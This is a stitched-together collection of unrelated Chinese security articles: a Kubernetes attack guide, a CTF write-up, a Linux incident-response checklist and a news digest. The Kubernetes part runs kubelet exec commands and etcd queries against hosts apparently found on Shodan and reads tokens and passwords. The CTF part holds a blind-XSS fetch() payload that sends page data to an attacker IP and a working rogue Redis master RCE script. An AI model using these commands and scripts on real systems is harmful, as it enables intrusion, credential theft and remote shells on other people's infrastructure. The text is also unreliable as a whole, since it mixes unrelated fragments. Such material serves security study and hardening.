ansible-playbook 07.cluster-addon.yml
查看`kube-system namespace`下的服务:
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.68.0.2 <none> 53/UDP,53/TCP,9153/TCP 8h
kubernetes-dashboard NodePort 10.68.122.176 <none> 443:32064/TCP 8h
metrics-server ClusterIP 10.68.248.178 <none> 443/TCP 8h
查看node/pod使用资源情况:
kubectl top node
kubectl top pod --all-namespaces
##### 访问dashboard
查看集群信息:
`kubectl cluster-info`
登录密码就是我们前面安装设置的。
拿到登录token
`kubectl -n kube-system describe secret $(kubectl -n kube-system get secret |
grep admin-user | awk '{print $1}')`
* * *
### Kubernetes安全相关
Kubernetes作为一个分布式集群的管理工具，保证集群的安全性是其一个重要的任务。API
Server是集群内部各个组件通信的中介，也是外部控制的入口。所以Kubernetes的安全机制基本就是围绕保护API Server来设计的。
Kubernetes使用了认证（Authentication）、鉴权（Authorization）、准入控制（Admission
Control）三步来保证API Server的安全。
Kubelet 认证
默认情况下，所有未被配置的其他身份验证方法拒绝的，对kubelet的HTTPS端点的请求将被视为匿名请求，并被授予system:anonymous用户名和system:unauthenticated组。
如果要禁用匿名访问并发送 401 Unauthorized 的未经身份验证的请求的响应：
启动kubelet时指定 `--anonymous-auth=false`
对kubelet HTTPS端点启用X509客户端证书身份验证：
`--client-ca-file` 提供 CA bundle 以验证客户端证书
启动apiserver时指定`--kubelet-client-certificate`和`--kubelet-client-key`标志
**Secret**
Kubernetes设计了一种资源对象叫做Secret，分为两类，一种是用于ServiceAccount的service-account-token
另一种是用于保存用户自定义保密信息的Opaque。我们在ServiceAccount中用到包含三个部分：Token、ca.crt、namespace。
`token`是使用API Server私钥签名的JWT。用于访问API Server时，Server端认证。
`ca.crt`，根证书。用于Client端验证API Server发送的证书。
`namespace`, 标识这个service-account-token的作用域名空间。
/opt/kube/bin/kubelet --address=192.168.4.114 --allow-privileged=true --anonymous-auth=false --authentication-token-webhook --authorization-mode=Webhook --client-ca-file=/etc/kubernetes/ssl/ca.pem --cluster-dns=10.68.0.2 --cluster-domain=cluster.local. --cni-bin-dir=/opt/kube/bin --cni-conf-dir=/etc/cni/net.d --fail-swap-on=false --hairpin-mode hairpin-veth --hostname-override=192.168.4.114 --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --max-pods=110 --network-plugin=cni --pod-infra-container-image=mirrorgooglecontainers/pause-amd64:3.1 --register-node=true --root-dir=/var/lib/kubelet --tls-cert-file=/etc/kubernetes/ssl/kubelet.pem --tls-private-key-file=/etc/kubernetes/ssl/kubelet-key.pem --v=2
更详细参考：<https://k8smeetup.github.io/docs/admin/kubelet-authentication-authorization/>
#### 通过kubelet攻击Kubernetes
通过kubelet默认配置对Kubernetes集群上的API Server发起特权访，特权访问有可能会获取集群中的敏感信息，也可能导致节点上机器命令执行。
API Server提供了对集群各种资源访问和控制的REST API。
在缺少对TLS身份验证，而在一些默认配置中启用了，`--anonymous-auth` 默认为`true`
允许匿名身份访问API,端口为10250
/pods # 列出正在运行中的pod
/exec # 在容器中运行命令并反回信息
这里我从shodan上随意找的IP进行测试
<https://192.168.4.110:10250/pods>
json格式化一下:
{
"kind":"PodList",
"apiVersion":"v1",
"metadata":{
},
"items":[
{
"metadata":{
"name":"monitoring-influxdb-grafana-v4-6679c46745-snl2l",
"generateName":"monitoring-influxdb-grafana-v4-6679c46745-",
"namespace":"kube-system",
"selfLink":"/api/v1/namespaces/kube-system/pods/monitoring-influxdb-grafana-v4-6679c46745-snl2l",
"uid":"ccfb1a97-2795-11e9-8a06-00259050b024",
"resourceVersion":"303",
"creationTimestamp":"2019-02-03T09:26:35Z",
"labels":{
"k8s-app":"influxGrafana",
"pod-template-hash":"6679c46745",
"version":"v4"
},
"annotations":{
"kubernetes.io/config.seen":"2019-02-25T15:10:08.316930932Z",
"kubernetes.io/config.source":"api",
"scheduler.alpha.kubernetes.io/critical-pod":""
},
"ownerReferences":[
{
"apiVersion":"apps/v1",
"kind":"ReplicaSet",
"name":"monitoring-influxdb-grafana-v4-6679c46745",
"uid":"cc9879f6-2795-11e9-8a06-00259050b024",
"controller":true,
"blockOwnerDeletion":true
}
]
},
"spec":{
"volumes":[
{
"name":"influxdb-persistent-storage",
"emptyDir":{
}
},
{
"name":"grafana-persistent-storage",
"emptyDir":{
}
},
{
"name":"default-token-bbz62",
"secret":{
"secretName":"default-token-bbz62",
"defaultMode":420
}
}
],
"containers":[
{
"name":"influxdb",
"image":"k8s.gcr.io/heapster-influxdb-amd64:v1.3.3",
"ports":[
{
"name":"http",
"containerPort":8083,
"protocol":"TCP"
},
{
"name":"api",
"containerPort":8086,
"protocol":"TCP"
}
],
"resources":{
"limits":{
"cpu":"100m",
"memory":"500Mi"
},
"requests":{
"cpu":"100m",
"memory":"500Mi"
}
},
"volumeMounts":[
{
"name":"influxdb-persistent-storage",
"mountPath":"/data"
},
{
"name":"default-token-bbz62",
"readOnly":true,
"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"
}
],
"terminationMessagePath":"/dev/termination-log",
"terminationMessagePolicy":"File",
"imagePullPolicy":"IfNotPresent"
},
{
获取信息执行容器中的命令：
CURL请求：
curl -Gks https://91.xxx.xxx.52:10250/exec/kube-system/hostpath-provisioner-599db8d5fb-lq2d2/hostpath-provisioner \
-d 'input=1' -d 'output=1' -d 'tty=1' \
-d 'command=id'
不过有点可惜，较老版本现在已经行不通了。
除了通过curl请求，提供了这样的一个脚本执行`Kubelet Anonymous RCE`:
<https://github.com/serain/kubelet-anon-rce>
帮助文档例子：
python3 kubelet-anon-rce.py \
--node 10.1.2.3 \
--namespace kube-system \
--pod tiller-797d1b1234-gb6qt \
--container tiller \
--exec "ls /tmp"
如果能执行命令可以通过:
`/var/run/secrets/kubernetes.io/serviceaccount`获取token
然后访问kube-api server
curl -ks -H "Authorization: Bearer <TOKEN>" \
https://master:6443/api/v1/namespaces/{namespace}/secrets
测试步骤：
1. 访问pods获取信息
2. 获取namespace、pods、container
3. 执行exec获取token
4. /var/run/secrets/kubernetes.io/serviceaccount
5. 利用Token访问API Server进行对pods操作。
### Kube-Hunter寻找漏洞
使用Kube-hunter寻找Kubernetes集群中的安全漏洞。
会对apiserver、dashboard、etcd、hosts、kubelet、ports、proxy进行测试。
<https://github.com/aquasecurity/kube-hunter>
[root@master kube-hunter]# ./kube-hunter.py
Choose one of the options below:
1. Remote scanning (scans one or more specific IPs or DNS names)
2. Subnet scanning (scans subnets on all local network interfaces)
3. IP range scanning (scans a given IP range)
Your choice: 1
Remotes (separated by a ','): 91.xxx.xxx.52
~ Started
~ Discovering Open Kubernetes Services...
|
| Kubelet API:
| type: open service
| service: Kubelet API
|_ host: 91.xxx.xxx.52:10250
|
| Anonymous Authentication:
| type: vulnerability
| host: 91.xxx.xxx.52:10250
| description:
| The kubelet is misconfigured, potentially
| allowing secure access to all requests on the
|_ kubelet, without the need to authenticate
......
Nodes
+-------------+---------------+
| TYPE | LOCATION |
+-------------+---------------+
| Node/Master | 192.168.4.114 |
+-------------+---------------+
| Node/Master | 192.168.4.110 |
+-------------+---------------+
| Node/Master | 192.168.4.108 |
+-------------+---------------+
Vulnerabilities
+---------------------+----------------------+----------------------+----------------------+----------------------+
| LOCATION | CATEGORY | VULNERABILITY | DESCRIPTION | EVIDENCE |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.114:10255 | Information | K8s Version | The kubernetes | v1.11.6 |
| | Disclosure | Disclosure | version could be | |
| | | | obtained from logs | |
| | | | in the /metrics | |
| | | | endpoint | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.114:10255 | Information | Exposed Pods | An attacker could | count: 5 |
| | Disclosure | | view sensitive | |
| | | | information about | |
| | | | pods that are bound | |
| | | | to a Node using the | |
| | | | /pods endpoint | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.114:10255 | Information | Cluster Health | By accessing the | status: ok |
| | Disclosure | Disclosure | open /healthz | |
| | | | handler, an attacker | |
| | | | could get the | |
| | | | cluster health state | |
| | | | without | |
| | | | authenticating | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.110:10255 | Information | K8s Version | The kubernetes | v1.11.6 |
| | Disclosure | Disclosure | version could be | |
| | | | obtained from logs | |
| | | | in the /metrics | |
| | | | endpoint | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.110:10255 | Information | Exposed Pods | An attacker could | count: 5 |
| | Disclosure | | view sensitive | |
| | | | information about | |
| | | | pods that are bound | |
| | | | to a Node using the | |
| | | | /pods endpoint | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.110:10255 | Information | Cluster Health | By accessing the | status: ok |
| | Disclosure | Disclosure | open /healthz | |
| | | | handler, an attacker | |
| | | | could get the | |
| | | | cluster health state | |
| | | | without | |
| | | | authenticating | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.108:10255 | Information | K8s Version | The kubernetes | v1.11.6 |
| | Disclosure | Disclosure | version could be | |
| | | | obtained from logs | |
| | | | in the /metrics | |
| | | | endpoint | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.108:10255 | Information | Exposed Pods | An attacker could | count: 4 |
| | Disclosure | | view sensitive | |
| | | | information about | |
| | | | pods that are bound | |
| | | | to a Node using the | |
| | | | /pods endpoint | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.108:10255 | Information | Cluster Health | By accessing the | status: ok |
| | Disclosure | Disclosure | open /healthz | |
| | | | handler, an attacker | |
| | | | could get the | |
| | | | cluster health state | |
| | | | without | |
| | | | authenticating | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.114:10255 | Access Risk | Privileged Container | A Privileged | pod: kube-flannel- |
| | | | container exist on a | ds-amd64-87jj7, |
| | | | node. could expose | contai... |
| | | | the node/cluster to | |
| | | | unwanted root | |
| | | | operations | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.110:10255 | Access Risk | Privileged Container | A Privileged | pod: kube-flannel- |
| | | | container exist on a | ds-amd64-9twqj, |
| | | | node. could expose | contai... |
| | | | the node/cluster to | |
| | | | unwanted root | |
| | | | operations | |
+---------------------+----------------------+----------------------+----------------------+----------------------+
| 192.168.4.108:10255 | Access Risk | Privileged Container | A Privileged | pod: kube-flannel- |
| | | | container exist on a | ds-amd64-b4xbm, |
| | | | node. could expose | contai... |
| | | | the node/cluster to | |
| | | | unwanted root | |
| | | | operations | |
+---------------------+----------------------+----------------------+----------------------+----------------------
通过一些信息判断，发现匿名身份验证，可以访问`pods`查看信息。
对外网IP扫描：
Kubelet API | 91.xxx.xxx.x2:10255
Kubelet API | 91.xxx.xxx.x2:10250
API Server | 91.xxx.xxx.x2:6443
查看集群信息：
<https://91.xxx.xxx.52:10250/metrics>
K8s版本| kubernetes | v1.11.6
使用的Pods节点
<http://192.168.4.110:10255/pods>
集群是否健康状况
<http://192.168.4.110:10255/healthz>
#### kublet api 执行命令
检索在Kubernetes工作节点上调度的所有pod和容器的列表
`curl -sk https://192.168.4.110:10250/runningpods/ |python -m json.tool`
{
"apiVersion":"v1",
"items":[
{
"metadata":{
"creationTimestamp":null,
"name":"nginx-867878fcd6-vrz75",
"namespace":"default",
"uid":"6e31a46e-38ea-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"nginx@sha256:dd2d0ac3fff2f007d99e033b64854be0941e19a2ad51f174d9240dda20d9f534",
"name":"nginx",
"resources":{
}
}
]
},
"status":{
}
},
{
"metadata":{
"creationTimestamp":null,
"name":"kubernetes-dashboard-68bf55748d-2bvmx",
"namespace":"kube-system",
"uid":"3f1dc2eb-38e8-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"mirrorgooglecontainers/kubernetes-dashboard-amd64@sha256:e4b764fa9df0a30c467e7cec000920ea69dcc2ba8a9d0469ffbf1881a9614270",
"name":"kubernetes-dashboard",
"resources":{
}
}
]
},
"status":{
}
},
{
"metadata":{
"creationTimestamp":null,
"name":"metrics-server-75df6ff86f-tvp8t",
"namespace":"kube-system",
"uid":"351cf73d-38e8-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"mirrorgooglecontainers/metrics-server-amd64@sha256:ad4a7150389426eedbd2bc81ba8067dc4807b7f47697310a8fe917f34475f83e",
"name":"metrics-server",
"resources":{
}
}
]
},
"status":{
}
},
{
"metadata":{
"creationTimestamp":null,
"name":"kube-flannel-ds-amd64-9twqj",
"namespace":"kube-system",
"uid":"e1da777f-38e7-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"sha256:ff281650a721f46bbe2169292c91031c66411554739c88c861ba78475c1df894",
"name":"kube-flannel",
"resources":{
}
}
]
},
"status":{
}
},
{
"metadata":{
"creationTimestamp":null,
"name":"coredns-695f96dcd5-9q4fl",
"namespace":"kube-system",
"uid":"1d9b7d65-3914-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"coredns/coredns@sha256:81936728011c0df9404cb70b95c17bbc8af922ec9a70d0561a5d01fefa6ffa51",
"name":"coredns",
"resources":{
}
}
]
},
"status":{
}
},
{
"metadata":{
"creationTimestamp":null,
"name":"nginx-deployment-6fb585c4cc-pf2mq",
"namespace":"default",
"uid":"1d401e4f-3914-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"nginx@sha256:e3456c851a152494c3e4ff5fcc26f240206abac0c9d794affb40e0714846c451",
"name":"nginx-deployment",
"resources":{
}
}
]
},
"status":{
}
},
{
"metadata":{
"creationTimestamp":null,
"name":"httpd-app-7bdd9f8ff4-thggb",
"namespace":"default",
"uid":"1d2bc47d-3914-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"httpd@sha256:5e7992fcdaa214d5e88c4dfde274befe60d5d5b232717862856012bf5ce31086",
"name":"httpd-app",
"resources":{
}
}
]
},
"status":{
}
},
{
"metadata":{
"creationTimestamp":null,
"name":"redis-55c7cdcd65-hbh5p",
"namespace":"default",
"uid":"18ce953d-38ee-11e9-8252-000c29361cd0"
},
"spec":{
"containers":[
{
"image":"redis@sha256:dd5b84ce536dffdcab79024f4df5485d010affa09e6c399b215e199a0dca38c4",
"name":"redis",
"resources":{
}
}
]
},
"status":{
}
}
],
"kind":"PodList",
"metadata":{
}
}
`curl -k -XPOST "https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq" -d "cmd=id"`
#### kublet api 获取Token
首先查看env中是否有存在KUBLET_CERT，KUBLET_KEY环境变量，是否有kublet token在环境变量中。
`curl -k -XPOST
"https://192.168.4.110:10250/run/default/nginx-867878fcd6-vrz75/nginx" -d
"cmd=env"`
没有看到也了解了相关的信息，可以查看磁盘挂载信息。
`curl -k -XPOST
"https://192.168.4.110:10250/run/default/nginx-867878fcd6-vrz75/nginx" -d
"cmd=mount"`
`curl -k -XPOST
"https://192.168.4.110:10250/run/default/nginx-867878fcd6-vrz75/nginx" -d
"cmd=ls -la /run/secrets/kubernetes.io/serviceaccount"`
`curl -k -XPOST
"https://192.168.4.110:10250/run/default/nginx-867878fcd6-vrz75/nginx" -d
"cmd=cat /run/secrets/kubernetes.io/serviceaccount/token"`
token JWT解码：
<https://jwt.io/>
可以看到service-account-token的一些基本信息，会用于后续的鉴权
同时也获取`ca.crt`,用于Client端验证API Server发送的证书。
`kubectl --server=https://192.168.4.110 --certificate-authority=ca.crt
--token=<TOKEN> get pods --all-namespaces`
### etcd获取敏感信息
coreos开发的分布式服务系统，内部采用 raft 协议作为一致性算法。etcd是一个高可用的分布式键值(key-value)数据库,存储了集群状态、服务令牌等机等密服务配置等信息。
当端口暴露，2379(用于客房端与ectd通信）,2380（用于etcd集群不同节点之间的通信）在默认配置当中是可以直接访问获取些敏感信息。
列出该目录所有节点的信息
<http://114.xxx.xxx.155:2379/v2/keys>
添加上recursive=true参数,就会递归地列出所有的值
<http://36..xxx.xxx.18:2379/v2/keys/?recursive=true>
/v2/members 集群中各个成员的信息
<http://114..xxx.xxx.155:2379/v2/keys/?recursive=true>
基本是大公司（可能是腾讯云、阿里云的客户机器）：
比较有意思各种密码信息都有
### 安全加固
参考github这个指南
<https://github.com/freach/kubernetes-security-best-practice>
或者查看`CIS_Kubernetes_Benchmark_v1.2.0`
都有非常详细的介绍
`希望此文章对运维人员、安全人员有所帮助！`
参考资料：
资料：
<https://github.com/opsnull/follow-me-install-kubernetes-cluster>
<https://jiayi.space/post/kubernetescong-ru-men-dao-fang-qi-1-qiang-nei-an-zhuang-zi-yuan-gai-nian>
<https://jiayi.space/post/kubernetescong-ru-men-dao-fang-qi-2-zu-jian-jia-gou>
<https://jiayi.space/post/kubernetescong-ru-men-dao-fang-qi-3-wang-luo-yuan-li>
<https://jiayi.space/post/kubernetescong-ru-men-dao-fang-qi-4-an-quan-ji-zhi>
<https://jiayi.space/post/kubernetescong-ru-men-dao-fang-qi-5-cun-chu-yuan-li>
<https://paper.li/f-1441107098#/>
<https://blog.csdn.net/oyym_mv/article/details/85003659>
<https://labs.mwrinfosecurity.com/blog/attacking-kubernetes-through-kubelet/>
<https://techbeacon.com/enterprise-it/hackers-guide-kubernetes-security>
<https://www.cyberark.com/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions/>
<http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunter-10255.html>
<https://www.4armed.com/blog/hacking-kubelet-on-gke/>
<http://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html>
<http://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250_16.html>
<https://medium.com/@pczarkowski/the-kubernetes-api-call-is-coming-from-inside-the-cluster-f1a115bd2066>
<https://elweb.co/the-security-footgun-in-etcd/>
<http://carnal0wnage.attackresearch.com/2019/01/kubernetes-open-etcd.html>
<https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/>
<https://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/> | 社区文章 |
访问`/robots.txt`，下载parse文件
拖到IDA里一看函数名，发现是GO语言的二进制文件
strings一下发现一些奇怪的字符串
/var/log/nginx/dot.access.log
cat /tmp/test.txt | awk -F ' "' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt
关于dot
server，搜到这样一篇文章：<https://www.cnblogs.com/yjf512/p/3773196.html，所以确定了服务器的用途>
在题目源码中看到
var ajax = new XMLHttpRequest();
ajax.open('get','http://dot.whizard.com/123');
ajax.send();
ajax.onreadystatechange = function () {
}
修改hosts指向后访问，发现和文章描述一样，是个`1*1`的gif
根据那条awk指令的用途，是处理nginx日志`[空格]"`分割的最后一个字符，查了一下默认的nginx日志格式：
log_format main
'$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_s ent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"'
然后开始Fuzz XFF头，猜测有两种攻击方式：
* SQLi时间盲注
* XSS
命令注入由于日志是逐行迭代处理所以不太可能
测试了半天也没有结果，然后放了hint是UA……
Fuzz了一下UA，发现是XSS盲打
发现Referer来自127.0.0.1:8080
访问8080端口：
fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})
提示robots.txt
访问robots.txt有一个curl.php，访问后发现是一个没有防御的SSRF
尝试读本地文件，读了一堆没有发现Flag
然后根据Nginx猜测是攻击FPM，试了几次没有成功
然后试着扫一下端口和内网C段，通过Beef hook了题目主机，扫描了一下发现隔壁主机开着6379（没有截图，写WP时bot已经挂了）
未授权访问是肯定的，写Shell或Crontab感觉不太可能，所以联想到了Redis master-slave-sync的RCE，但是这里由于在内网只能通过Gopher协议访问
研究了一下Redis RCE脚本，发现是在本机模拟了文件同步操作的master服务器，然后向远程6379服务器发送了slave of
指令，接着通过主从复制传送了执行系统命令的`.so` module，最后通过6379发送load module并执行命令
所以只需要在VPS上模拟master服务器，然后通过Gopher把发往6379的数据包打过去
监听VPS 9999端口的脚本
import socket
import sys
import struct
import re
payload = open('exp.so', 'r').read()
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
s.bind(('0.0.0.0', 9999))
s.listen(5)
conn, addr = s.accept()
print(addr)
CLRF = '\r\n'
def dout(sock, msg):
verbose = 1
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if sys.version_info < (3, 0):
msg = repr(msg)
if len(msg) < 300:
print("\033[1;32;40m[<-]\033[0m {}".format(msg))
else:
print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))
def handle(data):
resp = ""
phase = 0
if data.find("PING") > -1:
resp = "+PONG" + CLRF
phase = 1
elif data.find("REPLCONF") > -1:
resp = "+OK" + CLRF
phase = 2
elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase
def din(sock, cnt):
msg = sock.recv(cnt)
verbose = 1
if verbose:
if len(msg) < 300:
print("\033[1;34;40m[->]\033[0m {}".format(msg))
else:
print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
if sys.version_info < (3, 0):
res = re.sub(r'[^\x00-\x7f]', r'', msg)
else:
res = re.sub(b'[^\x00-\x7f]', b'', msg)
return res.decode()
def exp():
try:
cli = conn
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = handle(data)
dout(cli, resp)
if phase == 3:
break
except Exception as e:
print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e))
#cleanup(self._remote, self._file)
exit(0)
except KeyboardInterrupt:
print("[-] Exit..")
exit(0)
exp()
然后抓取redis-rce.py发往6379的包，修改其中主从复制回连和反弹shell的IP和端口
这里共抓取了三段流量，第一二段之间需要停顿3秒左右保证文件同步完成，通过XSS分三步发送
VPS上接收的同步请求：
接收到反弹的shell | 社区文章 |
最近工作中遇到了点Linux方面的应急响应问题，因为本人比较菜，所以掌握的知识点也不是很多。论坛既然开个讨论版块，那我就把我自己在响应过程中的一点排查思路发出来，希望大家踊跃跟帖，提出不同的观点和技术。
1.bash_history记录
通常的Linux服务器在遭遇到入侵后，我的第一时间会去查看.bash_history文件，如图所示：
正常的操作系统里面有pentest(渗透测试)之类的字眼，一般来说，是黑客拿来做跳板机用的，便可以一目了然的知道这台服务器有没有被入侵，大大的提高了运维人员的排查效率
[
当然，`.bash_history`能提供给我们的信息量很大，在这只是仅仅的一些举例。
2.last、lastb命令
具体命令详解，请参考百度：[http://www.cnblogs.com/kerrycode/p/4223751.html
 ](http://www.cnblogs.com/kerrycode/p/4223751.html%C2%A0 );
第一列：用户名
第二列：终端位置。pts/0 (伪终端) 意味着从诸如SSH或telnet的远程连接的用户.tty (teletypewriter)
意味着直接连接到计算机或者本地连接的用户
第三列：登录ip或者内核 。如果你看见:0.0 或者什么都没有，这意味着用户通过本地终端连接。除了重启活动，内核版本会显示在状态中。
第四列：开始时间
第五列：结束时间（still login in 还未退出 down 直到正常关机 crash 直到强制关机）
第六列：持续时间
[
Last该命令用来列出目前与过去登录系统的用户相关信息，执行last指令时，它会读取位于/var/log目录下名称为wtmp的文件，并把该给文件的内容记录的登录系统的用户名单全部显示出来。默认是显示wtmp的记录，btmp能显示的更详细，可以显示远程登录，例如ssh登录。utmp文件中保存的是当前正在本系统中的用户的信息，wtmp文件中保存的是登录过本系统的用户的信息。
lastb显示登录失败的日志。
3.登录日志
系统日志：message、secure、cron、mail等系统日志；
应用程序日志：Apache日志、Nginx日志、FTP日志、MySQL等日志；
自定义日志：很多程序开发过程中会自定义程序日志，这些日志也是很重要的数据，能够帮我们分析入侵途径等信息；
bash_history：这是bash执行过程中记录的bash日志信息，能够帮我们查看bash执行了哪些命令(第一个提到过)。
其他安全事件相关日志记录
例如系统登录
该文件放在/var/logs/下边以secure.*为开头的文件，举例：
[
[
这里面存放着大量的ssh登录失败或者是成功的记录，这个文件可以很直观的看出哪些是爆破行为，哪些是正常的登录行为
4.Web_Access_log
为什么这个日志又起一个呢，因为现在很多的黑客都是通过web入侵，所以说要特别强调一下access_log
这个日志通常是我们在进行web反追踪的时候用到的日志，access log 监控每个 http request
的处理时间，以及方法、动作、相应等等操作，每一种不同的web容器存放的位置也不同，具体遇到要首先找配置文件，然后根据配置文件查找日志的存放信息，具体产生的信息格式如下：
127.0.0.1 37 [05/Jun/2012:17:23:43 +0800] -- 200 2806 127.0.0.1 8080 GET/cdbleasing/message.listMessagePrompt.action?_dc=1338888223333 HTTP/1.1
127.0.0.1 533 [05/Jun/2012:17:26:31 +0800]- - 200 25994 127.0.0.1 8080 GET /cdbleasing/workflow.listTaskByCandidateUser.action?_dc=1338888390970&title=&author=&processName=&page=1&start=0&limit=50&sort=%5B%7B%22property
根据这些日志进行行为匹配和分析。
5.netstat
netstat 命令用于显示各种网络相关信息，如网络连接，路由表，接口状态 (Interface Statistics)，masquerade
连接，多播成员 (Multicast Memberships) 等等。
一般遇见服务器大量的发包或者是流量异常的时候，进行网络分析，具体操作参数很多，如有需要请自行百度
<http://www.cnblogs.com/ggjucheng/archive/2012/01/08/2316661.html>
[
可以一目了然的看到当前的连接情况，以及端口、ip使用情况，方便我们分析病毒外链等行为。
6.top or ps
top:命令是Linux下常用的性能分析工具，能够实时显示系统中各个进程的资源占用状况，类似于Windows的任务管理器。
ps:有时候系统管理员可能只关心现在系统中运行着哪些程序，而不想知道有哪些进程在运行。由于一个应用程序可能需要启动多个进程。所以在同等情况下，进程的数
量要比程序多的多。为此从阅读方面考虑，管理员需要知道系统中运行的具体程序。要实现这个需求的话，就需要利用命令ps来帮忙。
要对进程进行监测和控制，首先必须要了解当前进程的情况，也就是需要查看当前进程，而 ps
命令就是最基本同时也是非常强大的进程查看命令。使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多
的资源等等。总之大部分信息都是可以通过执行该命令得到的。
[
[
7.Rootkit hunter
这个吧，不是专业的没有发言权，参见bird哥的私房菜
<http://linux.vbird.org/linux_security/0420rkhunter.php>
URL：<http://www.rootkit.nl/projects/rootkit_hunter.html>
8.Webshell kill tools
常规的webshell查杀是必须要进行的，可以使用seay以前写过的一个python版本的，也可以把源代码tar到本地进行解压，然后进行查杀。
或者是手动输入命令根据特征找webshell ,find / -name “ _._ ”
9.Corntab
Linux crontab定时执行任务,相当于Windows的开机启动项，命令格式与详细例子，大家可以参考下：
基本格式 :
command 分 时 日 月 周
命令
第1列表示分钟1～59 每分钟用 _或者_ /1表示
第2列表示小时1～23（0表示0点）
第3列表示日期1～31
第4列表示月份1～12
第5列标识号星期0～6（0表示星期天）
第6列要运行的命令
10.SUID/SGID
用下面的命令查找系统中所有的SUID和SGID程序，执行：
for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") {print $2 }'`; do
find $PART ( -perm -04000 -o -perm -02000 ) -type f -xdev -print
done
11.隐藏进程查看
我没有代码 | 社区文章 |
# 2月28日安全热点 - SAML漏洞/利用Memcache Server进行DDoS攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
SAML漏洞可让攻击者以其他用户身份登录
<https://www.bleepingcomputer.com/news/security/saml-vulnerability-lets-attackers-log-in-as-other-users/>
<https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations>
<http://www.zdnet.com/article/saml-protocol-bug-puts-single-sign-on-accounts-at-risk/>
最近修补的CVE-2018-4878 Adobe Flash Player漏洞现在已被网络犯罪分子利用
Morphisec的安全研究人员发现了一个大规模黑客活动，该活动利用最近修补的CVE-2018-4878 Adobe Flash Player漏洞
> [Recently patched CVE-2018-4878 Adobe Flash Player flaw now exploited by
> cybercriminals](http://securityaffairs.co/wordpress/69620/cyber-> crime/cve-2018-4878-malspam-campaign.html)
Memcache服务器可以被利用来进行大规模DDoS攻击
<https://www.bleepingcomputer.com/news/security/memcache-servers-can-be-abused-for-insanely-massive-ddos-attacks/>
新的RedDrop Android间谍软件可以记录附近的音频
一款名为RedDrop的新型Android恶意软件可以执行大量恶意操作，包括录制附近的音频并将数据上传到Dropbox和Google
Drive上的云存储帐户。
<https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/>
## 技术类
从救火到先知，DNS安全分析场景实践谈
<https://www.sec-un.org/%E4%BB%8E%E6%95%91%E7%81%AB%E5%88%B0%E5%85%88%E7%9F%A5%EF%BC%8Cdns%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90%E5%9C%BA%E6%99%AF%E5%AE%9E%E8%B7%B5%E8%B0%88>
Tomcat CVE-2018-1305 分析
<https://mp.weixin.qq.com/s/PZsOQy2lpR1lHqLWmAXlbg>
物联网黑客：如何再次打破智能家居
<https://securelist.com/iot-hack-how-to-break-a-smart-home-again/84092/>
三星 Gear VR 控制器逆向分析
<http://jsyang.ca/hacks/gear-vr-rev-eng/>
深入研究数据库攻击 Part 2：通过 SQL 命令传递和执行恶意程序（SQL Server）
[https://www.imperva.com/blog/2018/02/deep-dive-database-attacks-part-ii-delivery-execution-malicious-executables-sql-commands-sql-server](https://www.imperva.com/blog/2018/02/deep-dive-database-attacks-part-ii-delivery-execution-malicious-executables-sql-commands-sql-server/?utm_source=securitydailynews.com)
Harpoon：OSINT /威胁情报工具
<https://www.randhome.io/blog/2018/02/23/harpoon-an-osint-/-threat-intelligence-tool/>
All Hail Bettercap 2.0, One Tool to Rule Them All
